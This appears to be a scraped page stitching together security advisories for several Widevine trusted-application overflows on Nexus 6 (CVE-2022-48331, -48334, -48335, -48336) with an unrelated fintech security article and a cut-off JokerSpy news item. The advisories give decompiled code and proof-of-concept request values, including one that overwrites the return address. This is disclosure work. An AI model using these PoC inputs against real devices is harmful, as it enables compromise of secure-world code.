The bug is present in this check. Since the addition is done using a signed integer, this calculation causes an integer overflow if the sum of msg_buf_size and the string length of fullFilePathBuffer is large enough, resulting in a negative value and bypassing the if statement. Consequently, the subsequent memory copy can cause a buffer overflow:

The range of values for msg_buf_size that can cause a buffer overflow extends from -13 (0xfffffff3) to -1 (0xffffffff).

The user has full control over the **value** of msg_buf_size and the **contents** of the msg_buf buffer in the Request Buffer.

Since there are 13 specific and large msg_buf_size values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50004;  // PRDiagProvisionDataHandler
req\->payload.op \= 0;    // PRDiagParseAndStoreData
...
req\->payload.msg\_buf\_size \= 0xffffffff;
req\->payload.data\_len \= 1;

The Commmand ID 0x50004 is specified to invoke PRDiagProvisionDataHandler(), and the PRDiagParseAndStoreData operation is being specified. In addition, msg_buf_size is set to 0xffffffff so that the sum of msg_buf_size + iVar5 overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "PRDiagProvisionDataHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagParseAndStoreData: begins!"
<5>widevine: "PRDiagPruneTrailingSlashes:  pPath 0x2e5fc"
<5>widevine: "PRDiagPruneTrailingSlashes: ends!"
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48336: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 7.1.1 has a PRDiagVerifyProvisioning integer overflow and resultant buffer overflow.

CVE-2022-48335:

Buffer Overflow in Widevine Trustlet (PRDiagVerifyProvisioning @ 0x5f90)

 

CVE:

CVE-2022-48335

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

Warning

To the best of our knowledge, the vulnerability described in this post has been incorrectly associated with CVE-2015-6639. After consulting with MITRE, it has been confirmed that this vulnerability had no assigned identifier. Consequently, CVE-2022-48335 has been assigned to this vulnerability.

On the other hand, it has been confirmed that CVE-2015-6639 does exist and corresponds with a different vulnerability reported by Google. We have notified all the concerned parties about this misunderstanding so that the confusion can be amended.

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s PRDiagVerifyProvisioning() command. This command closely resembles PRDiagClearProvisioning(), which has been featured in other blog entries (refer to CVE-2015-6647).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50003: // PRDiagMaintenanceHandler
    if ((0x2807 < req\_buf\_size) && (7 < resp\_buf\_size)) {
        ret \= PRDiagMaintenanceHandler(req\_buf + 2, req\_buf\[1\]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50003, it jumps to the PRDiagMaintenanceHandler() function. This function handles two sub-commands: PRDiagVerifyProvisioning and PRDiagClearProvisioning.

The structure of the Request Buffer for the PRDiagMaintenanceHandler() function is the following:

struct widevine\_PRDiagMaintenanceHandler\_cmd {
        uint32\_t cmd\_id;
        uint32\_t payload\_size;
        struct widevine\_PRDiagMaintenanceHandler\_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagMaintenanceHandler command
struct widevine\_PRDiagMaintenanceHandler\_payload {
        enum {
                op\_PRDiagVerifyProvisioning    \= 0,
                op\_PRDiagClearProvisioning     \= 1,
                PRDiagMH\_FORCE\_ENUM\_32\_BITS \= (INT\_MAX | ~INT\_MAX),
        } op;
        uint32\_t compare\_flag;
        uint32\_t msg\_buf\_size;
        uint32\_t data\_len;
        // The buffer containing the input data for the PRDiagVerifyProvisioning function.
        // This data could be related to provisioning information, cryptographic keys,
        // or other DRM-related metadata.
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine\_PRDiagMaintenanceHandler\_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg\_buf\[\];
};

The relevant parts are the op value indicating the sub-command to be executed (either PRDiagVerifyProvisioning or PRDiagClearProvisioning), an input buffer called msg_buf and its size, stored in msg_buf_size.

The PRDiagMaintenanceHandler function simply copies the payload/request into a temporary heap buffer and passes it to the corresponding sub-command:

int PRDiagMaintenanceHandler(void \*payload, uint32\_t payload\_size) {
     struct widevine\_PRDiagMaintenanceHandler\_payload \*req;

     if (!payload || !payload\_size) return 0x10;

     req \= malloc(payload\_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload\_size);
     if (req\->op \== 0) {
         PRDiagVerifyProvisioning(req);
     }
     else if (req\->op \== 1) {
         PRDiagClearProvisioning(req);
     }
     ...

For this bug, let’s focus on the PRDiagVerifyProvisioning sub-command. The main functionality of this function is to check the integrity and authenticity of the provisioning data by comparing it to the corresponding data stored in the Secure File System (SFS).

The following code snippet shows a simplified version of the PRDiagVerifyProvisioning function:

int PRDiagVerifyProvisioning(struct widevine\_PRDiagMaintenanceHandler\_payload \*req) {
    // Check input and operation
    if (!req || req\->op != 0) return 0x10;

    msg\_buf\_size \= req\->msg\_buf\_size;
    msg\_buf \= &req\->msg\_buf;
    ...
    if (!req\->data\_len) {
        strlen(&persist\_prefix); // result ignored
        memzero(&filePathBuffer, 0x80); // 0x2e0fc
        memcpy(&filePathBuffer, msg\_buf, msg\_buf\_size);    }
    else {
        ...

The function first performs some validations on the input and the operation being requested and then checks the data_len value. If this value is zero, it copies the user-controlled msg_buf into a buffer in the data segment (0x2e0fc). The contents and size of this buffer are directly specified by the client through the Request Buffer.

The hardcoded value of the memzero suggests that the size of this buffer is 128 bytes. However, since msg_buf_size is not being checked, this copy operation can cause a buffer overflow:

This vulnerability allows an attacker to overwrite important data structures such as the stack and heap, since they are in higher addresses within this same data segment.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50003;  // PRDiagMaintenanceHandler
req\->payload.op \= 0;    // PRDiagVerifyProvisioning
req\->payload.msg\_buf\_size \= 0x1644;
// 0x1644 overwrites ret-code in the stack
...
memset(req\->payload.msg\_buf, 'A', req\->payload.msg\_buf\_size);

The Commmand ID 0x50003 is specified to invoke PRDiagMaintenanceHandler(), and the PRDiagVerifyProvisioning operation is being specified. In addition, msg_buf_size is set to 0x1644 so that it overflows the data buffer and ends up overwriting the return code in the stack:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagVerifyProvisioning: begins!"
<5>widevine: "PRDiagVerifyProvisioning: returned 1094795585"
<5>widevine: "PRDiagMaintenanceHandler: returned 1094795585"

It can be observed that the returning value is 1094795585, which is the decimal representation of the value 0x41414141 that comes from our msg_buf buffer. We can also verify that this value is stored in the response buffer returned by the trusted application:

\[\*\] Widevine PRDiagMaintenanceHandler => Return code: 0x41414141

Adding four more bytes to the buffer being copied allows us to overwrite the return address in the stack and thus give us control over the execution flow:

req\->cmd\_id \= 0x50003;  // PRDiagMaintenanceHandler
req\->payload.op \= 0;    // PRDiagVerifyProvisioning
req\->payload.msg\_buf\_size \= 0x1648;
// 0x1648 overwrites return address in the stack
...
memset(req\->payload.msg\_buf, 'A', req\->payload.msg\_buf\_size);

Note that the difference is that we added four bytes to msg_buf_size:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagVerifyProvisioning: begins!"
\*\*\* crash @ 0x41414140 \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED. In this case, Widevine crashes because it ends up jumping to the address 0x41414140 coming from our msg_buf buffer.

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

CVE-2022-48335: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_verify_keys total_len+file_name_len integer overflow and resultant buffer overflow.

CVE-2022-48334:

Buffer Overflow in Widevine Trustlet (drm\_verify\_keys @ 0x7370)

 

CVE:

CVE-2022-48334

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_verify_keys() command. This command closely resembles drm_save_keys(), which has been featured in other blog entries (refer to CVE-2022-48331 and CVE-2022-48332).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50002: // drm\_verify\_keys() command
    if ((0x2a0f < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        drm\_verify\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\]  // file\_name
        );
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50002, it jumps to the drm_verify_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
};

It contains two buffers (_i.e._, feature_name and file_name) and two integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len and file_name_len, since they are directly taken from the Request Buffer.

The main functionality of drm_verify_keys() is to verify the integrity of encryption keys or DRM-related data stored within the Widevine DRM system. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent the verification process.
>     
> *   Construct a full file path using the provided feature name and file name.
>     
> *   Set the CRC (cyclic redundancy check) file path, which is used for verifying the integrity of the keys.
>     
> *   Verify the stored encryption keys or DRM-related data and check for any tampering or corruption.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len;
// ---- CVE-2022-48333 ---- //
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);
    // ----------------------- //
    \*(heap\_buf + total\_len) \= '/';
    if (total\_len + feature\_name\_len < 0xff) {
        memcpy(heap\_buf + total\_len + 1, feature\_name, feature\_name\_len);
        total\_len += (feature\_name\_len + 1);        \*(heap\_buf + total\_len) \= '/';
        // ---- CVE-2022-48334 ---- //
        if (total\_len + file\_name\_len < 0xff) {            memcpy(heap\_buf + total\_len + 1, file\_name, file\_name\_len);            ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The first part corresponds to CVE-2022-48333, where the check if (total_len < 0x100) is performed using a signed integer and can cause a buffer overflow if feature_name_len takes any value from -14 (0xfffffff2) to -1 (0xffffffff).

To pass this first check without triggering the first bug, the value of feature_name_len must be within the inclusive range of 1 to 241. Then, the code appends the feature_name string two times to the temporary heap buffer. In the previous code snippet, there is a second check on feature_name_len that constraints its value to \[1, 120\]. Finally, there is a third if that checks the value of file_name_len. At this point, the result of the addition is treated as a signed integer, which leads to an incorrect check. Consequently, this third check is bypassed when the values for file_name_len are sufficiently large:

req.feature\_name\_len \= 120; // valid values are: \[1, 120\]
req.file\_name\_len \= \-(14 + (2 \* req.feature\_name\_len) + 1);

The code after the check calls the memcpy() function to copy the contents of the file_name string into the heap buffer, using the improperly checked file_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The user has full control over the **value** of file_name_len and the **contents** of the file_name buffer in the Request Buffer.

Since there are several specific and large file_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50002;  // drm\_verify\_keys
req.feature\_name\_len \= 1;
req.file\_name\_len \= 0xffffffff;
...

The Commmand ID 0x50002 is specified to invoke drm_verify_keys(), and file_name_len is set to 0xffffffff so that the sum of total_len + file_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_verify\_keys: feature\_name 0xfff00010, feature\_name\_len 1, file\_name 0xfff00110,  file\_name\_len 4294967295"
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48334: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_save_keys integer overflow and resultant buffer overflow.

CVE-2022-48331:

Buffer Overflow in Widevine Trustlet (drm\_save\_keys @ 0x69b0)

 

CVE:

CVE-2022-48331

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_save_keys() command. This command closely resembles drm_verify_keys(), which has been featured in other blog entries (refer to CVE-2022-48333 and CVE-2022-48334).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50001: // drm\_save\_keys() command
    if ((0x2a10 < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        ...
        drm\_save\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\], // file\_name
            req\_buf + 0x84, req\_buf\[3\], // msg
            resp\_buf + 4                // prt\_path (result)
        );
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50001, it jumps to the drm_save_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    uint32\_t msg\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
    char msg\_data\[0x100\];
};

It contains three buffers (_i.e._, feature_name, file_name and msg_data) and three integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len, file_name_len and msg_len, since they are directly taken from the Request Buffer.

The main functionality of drm_save_keys() is securely storing encryption keys or DRM-related data. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent key storage.
>     
> *   Construct a file path using the provided feature name and file name.
>     
> *   Write the message data, which may contain encryption keys or DRM-related information, to a Secure File System (SFS).
>     
> *   Compute and store a CRC value for the written data to ensure data integrity and error detection.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len; // Signed int
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);    ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The bug is present in this calculation. Since total_len is a signed integer, this calculation causes an integer overflow if the sum of prefix_len and feature_name_len is large enough, resulting in a negative value for total_len. As a result, the subsequent if statement passes even if the actual total length of the string is greater than the allocated buffer size.

Since the check is if (total_len < 0x100), for the condition 14 + feature_name_len < 0x100 to be triggered, the value of feature_name_len must be within the inclusive range of -14 to 241.

The code after the check calculates again the prefix_len and calls the memcpy() function to copy the contents of the feature_name string into the buffer, immediately following the persist_prefix, using feature_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The range of values for feature_name_len that can cause a buffer overflow extends from -14 (0xfffffff2) to -1 (0xffffffff).

The user has full control over the **value** of feature_name_len and the **contents** of the feature_name buffer in the Request Buffer.

Since there are 14 specific and large feature_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50001;  // drm\_save\_keys;
req\->feature\_name\_len \= 0xffffffff;
req\->file\_name\_len \= 1;
req\->msg\_len \= 1;
...

The Commmand ID 0x50001 is specified to invoke drm_save_keys(), and feature_name_len is set to 0xffffffff so that the sum of prefix_len + feature_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_save\_keys: feature\_name 0xfff00010, feature\_name\_len 4294967295, file\_name 0xfff00110, file\_name\_len 1, msg\_data 0xfff00210
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48331: Cyber Intelligence - Hardware and Software Security Assessments

By Owais Sultan
Fintech can reduce cyber threats by implementing robust encryption and authentication measures, enhancing security protocols to safeguard financial transactions and customer data.
This is a post from HackRead.com Read the original post: Fintech’s Crucial Role in Reducing Cyber Threats

Fintech companies can leverage advanced technologies like artificial intelligence and machine learning to detect and prevent cyber threats in real time, enabling proactive defence against potential attacks.

Fintech companies have become a crucial part of the financial services industry, producing products and services that allow us to bank, invest, manage our pensions, and more, all from the comfort of our homes. But while creating innovative products might be the primary objective of fintech firms, they also have a tremendous responsibility to protect themselves and their customers from the omnipresent threat of cybercrime.

****Responding to the growing threat of cybercrime****

According to a survey by Gartner, three-quarters of companies plan to adopt new solutions to help them counteract the cybersecurity challenges caused by new technology. This continuous investment is vital as cyberattacks are becoming increasingly sophisticated due to self-learning software and a growing reliance on Artificial Intelligence (AI).

However, while fintech firms need to be aware of AI threats, AI-powered technologies can also help to protect them. Voice biometrics can compare more than 1,000 voice characteristics to detect a user, while behavioural biometrics can measure details such as how users hold their devices to keep their customers safe. Biometrics also allow fintech firms to strengthen their defences without customers having to actively engage in the process, which helps to protect the user experience.

****What damage can cyber threats cause?****

South Africa is certainly no stranger to cybercrime, and in fact, recent research has shown that it has the third highest number of cybercrime victims out of any country in the world. Phishing attacks alone grew by 65% last year, with payment providers and banks being the most targeted.

There are numerous examples of the kinds of threats that customers and fintech firms have to be aware of. In recent years, TransUnion South Africa was the victim of a massive data breach, with 54 million personal data records stolen. And in 2021, Transnet was hit by a ransomware attack that encrypted a terabyte of personal data and financial records.

****The role of fintech firms** **

In addition to implementing adequate protection, some fintech firms are taking the initiative to warn their customers about common cybercrimes and the warning signs they should be aware of.

In addition to implementing adequate protection, some fintech firms are taking the initiative to warn their customers about common cybercrimes and the warning signs they should be aware of. Wonga, an online lender, recently published a series of real-world cybercrime case studies to assist its customers in identifying these scams in practice. Sharing actual examples of how scammers target customers can be more effective in educating them than a theoretical warning. The published examples can be viewed online for free.

This socially responsible approach is something we expect to see much more of in the future. With cyber threats constantly evolving, improving awareness at the foundational level can help fintech firms and their customers stay one step ahead of cybercriminals and reduce the effects of cybercrime in South Africa.

However, fintech must go beyond educating their customers about potential threats. They need to proactively take the fight against scammers by implementing new and constantly improving technologies to give honest businesses and their customers the best chances of safety in an ever-evolving arms race that seems destined to continue forever.

**RELATED ARTICLES**

1.  Worok Hackers Hit Orgs, Govts in Asia and Africa
2.  World Mobile’s Africa Field Tests: Harnessing Starlink
3.  Short Guide to Understanding Exciting Realm of Fintech
4.  Why Payroll Is The Next Company Security Battleground?

Owais takes care of Hackread's social media from the very first day. At the same time He is pursuing for chartered accountancy and doing part time freelance writing.

Fintech’s Crucial Role in Reducing Cyber Threats 

An unknown cryptocurrency exchange located in Japan was the target of a new attack earlier this month to deploy an Apple macOS backdoor called JokerSpy.
Elastic Security Labs, which is monitoring the intrusion set under the name REF9134, said the attack led to the installation of Swiftbelt, a Swift-based enumeration tool inspired by an open-source utility called SeatBelt.
JokerSky was first

Cryptocurrency / Endpoint Security

An unknown cryptocurrency exchange located in Japan was the target of a new attack earlier this month to deploy an Apple macOS backdoor called JokerSpy.

Elastic Security Labs, which is monitoring the intrusion set under the name **REF9134**, said the attack led to the installation of Swiftbelt, a Swift-based enumeration tool inspired by an open-source utility called SeatBelt.

